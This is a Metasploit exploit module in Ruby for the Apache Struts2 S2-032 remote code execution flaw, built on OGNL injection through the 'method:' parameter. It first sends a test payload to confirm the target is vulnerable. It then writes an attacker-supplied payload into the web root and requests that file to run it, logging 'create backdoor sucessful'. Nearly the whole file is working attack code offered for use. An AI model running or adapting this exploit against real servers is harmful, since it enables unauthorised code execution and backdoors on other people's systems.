require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
                      'Name' => 'S2-032 Remote Code Execution',
                      'Description' => %q{
                            动态调用,导致远程代码执行
                                 },
                      'Author' =>
                          [
                              '安恒科技',
                              '扶摇直上打飞机'
                          ],
                      'License' => MSF_LICENSE,
                      'References' =>
                          [
                              ['url', 'http://seclab.dbappsecurity.com.cn/?p=924']
                          ],
                      'Privileged' => true,
                      'Platform' => ['linux', 'win'],
                      'Targets' => [['all of them', {}],],
                      'Arch' => ARCH_JAVA,
                      'DefaultTarget' => 0,
          ))
    register_options(
        [
            Opt::RHOST(),
            Opt::RPORT(80),
            OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/']),
        ], self.class)
  end


  def checkvul
    testpayload = 'method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23w%3d%23context.get(%23parameters.rpsobj[0]),%23w.getWriter().println(88888888),%23w.getWriter().flush(),%23w.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse'
    res = send_request_raw({
                               'method' => 'POST',
                               'uri' => normalize_uri(target_uri.path, 'index.action'),
                               'ctype' => 'application/x-www-form-urlencoded',
                               'data' => testpayload,
                           })
    if res.body =~ /88888888/
      print_good("RHOST is Vulnerable")
      return Exploit::CheckCode::Vulnerable
    else
      fail_with(Failure::Unknown, "#{rhost} cant get crumb value ")
    end
  end

  def expayload
    @fname = "#{rand_text_alphanumeric(rand(10)+6)}.txt"
    exp = "method:"
    exp << "%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,"
    exp << "%23a%3d%23parameters.reqobj[0],%23c%3d%23parameters.reqobj[1]"
    exp << ",%23req%3d%23context.get(%23a),%23b%3d%23req.getRealPath(%23c)%"
    exp << "2b%23parameters.reqobj[2],%23fos%3dnew java.io.FileOutputStream"
    exp << "(%23b),%23fos.write(%23parameters.content[0].getBytes()),%23fos"
    exp << ".close(),%23hh%3d%23context.get(%23parameters.rpsobj[0]),%23hh."
    exp << "getWriter().println(%23b),%23hh.getWriter().flush(),%23hh.getWr"
    exp << "iter().close(),1?%23xx:%23request.toString&reqobj=com.opensymph"
    exp << "ony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphon"
    exp << "y.xwork2.dispatcher.HttpServletResponse&reqobj=%2f&reqobj=#{@fname}"
    exp << "&content=#{Rex::Text.uri_encode(payload.encode)}"
    return exp
  end

  def exploit
    if checkvul == Exploit::CheckCode::Vulnerable
      res = send_request_raw({
                                 'method' => 'POST',
                                 'uri' => normalize_uri(target_uri.path, 'index.action'),
                                 'ctype' => 'application/x-www-form-urlencoded',
                                 'data' => expayload,
                             })
      if res.code.to_s == '200'
        print_good("create backdoor sucessful")
        shellpath = normalize_uri(target_uri.path, @fname)
        print_good("Shell address：#{shellpath}")
        print_status("Executing the payload...")
        send_request_cgi(
            {
                'uri' => shellpath,
                'method' => 'GET'
            }, 5)
        print_good("Executed payload")
      else
        fail_with(Failure::Unknown, "cant exploit rhost ")
      end

      print_good()
    end
  end

  def rhost
    datastore['RHOST']

  end

  def rport
    datastore['RPORT']
  end

  def targeturi
    datastore['TARGETURI']
  end

end
